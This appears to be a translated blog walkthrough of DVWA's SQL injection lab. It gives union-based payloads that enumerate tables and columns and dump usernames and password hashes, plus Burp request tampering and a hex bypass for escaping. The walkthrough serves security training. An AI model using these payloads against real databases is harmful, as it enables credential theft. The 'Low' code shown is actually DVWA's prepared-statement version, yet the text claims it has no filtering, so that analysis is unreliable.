DVWA - SQL Injection

Low

audit code

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
## 分析源码,可以看到没有对参数做任何的过滤

Determine whether there is SQL injection

1. Enter 1 to submit

insert image description here

2. Enter 1' Submit

insert image description here

3. Enter 1 and 1=1 to submit

insert image description here

4. Enter 1 and 1=2 to submit

insert image description here

It can be seen from the above that there is an injection point, and it is closed with single quotation marks. We guess that the SQL query statement is as follows:

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'

Judging the number of columns

1. 1’ order by 2#

insert image description here

2. 1’ order by 3#

Determine the displayed position (the echo position after the SQL statement query)
insert image description here

Union injection

1. Check the echo

1' union select 1,2#

1' joint selection 1, 2# #From the figure below, we can see that there are 2 echoes
insert image description here

2. Query the current database and version

1' union select version(),database()#

insert image description here

3. Get the tables in the database

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#


insert image description here
insert image description here

Knowledge points:

1. There is a self-contained database information_schema in MYSQL5.0 and above. It is a database that stores all database names, indicating that column names, which is equivalent to obtaining corresponding information by querying this database. (If not, you can only rely on guessing and brute force)

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

insert image description here

4. Get the field name in the table

1' union select  1, group_concat(column_name) from information_schema.columns where table_name='users'#

insert image description here

5. Get the data in the field

1' union select user, password from users#

insert image description here

The password here is encrypted with MD5 and can be decrypted at https://www.cmd5.com/

Medium

audit code

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
## 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句,
我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型

Attack recurrence

Crawl with burp

insert image description here

Let's go to Repeater to operate

insert image description here

According to the low level, we know that there is SQL injection, so we won’t demonstrate it here. Let’s start with the database explosion

1. Query the current database and version

union select version(),database()#

insert image description here

insert image description here

2. Get the tables in the database

 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

insert image description here

insert image description here

3. Obtain the field name in the table. Considering that the single quote is escaped, it can be bypassed by hexadecimal. ("user")

union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

insert image description here

insert image description here

Get the data in the field

 union select user,password from users##

insert image description here

insert image description here

High

It can be seen that when you click "here to change your ID", the page automatically jumps, which prevents automatic SQL injection. By analyzing the source code, you can see that there is no defense for parameters. The number of queries is limited in the sql query statement, which can be passed Burpsuit captures packets and modifies packets to bypass.
The method is similar to the previous one, so I won’t demonstrate more here, just explode the account password

Get account password

insert image description here

tools used

BurpSuite
phpstudy_pro
Firefox browser

Guess you like

Origin blog.csdn.net/qq_62803993/article/details/128602233